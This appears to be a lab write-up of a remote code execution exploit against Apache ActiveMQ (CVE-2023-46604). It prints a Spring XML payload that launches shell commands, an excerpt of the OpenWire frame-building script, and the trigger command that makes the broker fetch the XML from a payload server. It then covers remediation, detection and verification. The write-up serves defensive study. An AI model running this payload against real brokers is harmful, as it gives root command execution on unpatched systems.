activemq remote code execution

i sent a crafted openwire packet to the broker listener. it made activemq load an xml payload from the payload server and run commands from it. the small payload below runs id and whoami, then writes both results to /tmp/scl-whoami.txt.

the command payload

poc_id_whoami.xml — source excerpt

```
<bean id="sclProof" class="java.lang.ProcessBuilder" init-method="start">
  <constructor-arg>
    <list>
      <value>/bin/sh</value>
      <value>-c</value>
      <value>id &gt; /tmp/scl-whoami.txt; whoami &gt;&gt; /tmp/scl-whoami.txt</value>
    </list>
  </constructor-arg>
</bean>
```

the result

i removed the previous proof file, sent the trigger to 127.0.0.1:16116, then read the file from the broker container.

```
docker exec scl-lab-case-target-1 rm -f /tmp/scl-whoami.txt

# Send the exploit from Ubuntu
python3 cases/CVE-2023-46604/scripts/openwire_probe.py \
  127.0.0.1 16116 \
  http://payload-server/poc.xml

sleep 2

# Read the output created by the exploit
docker exec scl-lab-case-target-1 cat /tmp/scl-whoami.txt
uid=0(root) gid=0(root) groups=0(root)
root
```

the supplied capture shows uid 0 and root inside the broker container. docker exec is used to read the proof file; the exploit enters through openwire. this demonstrates command execution in the container, not access to the docker host.

why it worked

the vulnerable openwire decoder expected an exception type but did not first check that the supplied class was a throwable. that allowed a spring context class to be created with an xml url as its argument.

activemq_rce_poc.py source excerpt

```
13  def main(host, port, url):
14      class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
15      frame = bytearray()
16      frame.extend((31).to_bytes(1, "big"))
17      frame.extend((1).to_bytes(4, "big"))
18      frame.extend((1).to_bytes(1, "big"))
19      frame.extend((1).to_bytes(4, "big"))
20      frame.extend((1).to_bytes(1, "big"))
21      frame.extend((1).to_bytes(1, "big"))
22      frame.extend(utf(class_name))
23      frame.extend((1).to_bytes(1, "big"))
24      frame.extend(utf(url))
```

spring loads the xml and creates its configured objects. this xml creates a processbuilder and calls start, which runs the shell commands with the broker process's permissions. the vendor fix checks the class type before creating the object.

why the controls did not stop it

the entry point is binary openwire over tcp. http waf rules cannot inspect that frame as a web request. protecting the web console leaves the broker listener needing its own network restrictions and protocol-aware inspection.

suricata can detect the crafted traffic or the xml download when it sees the flow and has a matching rule. stopping it also requires inline drop enforcement. wazuh can alert on broker, network and process events, but the capture contains no sensor logs to show whether alerts were raised.

the small payload writes a local file, so it does not test dlp. the supplied full-chain xml is designed to find a token, fetch recognized and unrecognized documents, and send them through the egress gateway. the screenshot provides no transfer results or dlp decisions.

what i would change

patch brokers and clients. move to a supported release containing current security fixes. apache originally fixed this issue in 5.18.3, 5.17.6, 5.16.7 and 5.15.16. java openwire clients need updating too. the fix validates the class before instantiation.

restrict the broker listener. allow only the systems that need messaging access. disable openwire if it is unused, and check published docker ports and direct routes. a web-console password does not protect the openwire decoder. test a maintained ips rule on the actual traffic path.

restrict outbound connections. deny destinations the broker does not need, including arbitrary xml hosts and external receivers. blocking the xml download interrupts this payload chain. patching is still needed because the unsafe decoder remains.

reduce what a compromised broker can do. run it as a dedicated non-root user, drop unneeded capabilities and avoid privileged mode, sensitive host mounts and the docker socket. limit writable paths. where normal operation allows it, use an enforced apparmor or selinux policy to stop the broker from launching shells.

watch the process chain. collect process execution events with auditd or an endpoint sensor and send them to wazuh with broker and network logs. alert when the broker's java process starts a shell or makes an unexpected download. file integrity monitoring can report file changes; it does not itself stop the command.

limit access to data. scope broker credentials to the services and documents it needs. test dlp against both recognized and unrecognized sample documents and record the gateway decision. a missed content pattern should not leave unrestricted outbound access.

how i would verify the fix

remove the proof file and repeat the same controlled test against the patched broker. no new proof file should appear. confirm the rejection and process events, test the network and shell policies separately, then check that normal messaging still works.

references

apache security advisory - affected versions and official fixes

apache technical explanation - class loading and client exposure

rapid7 technical analysis - decoder behavior and the spring payload

suricata ips documentation - inline filtering and drop enforcement

wazuh system-call monitoring - collecting process events with auditd

owasp docker security guidance - privileges, mounts and writable paths

docker apparmor documentation - enforcing a process security profile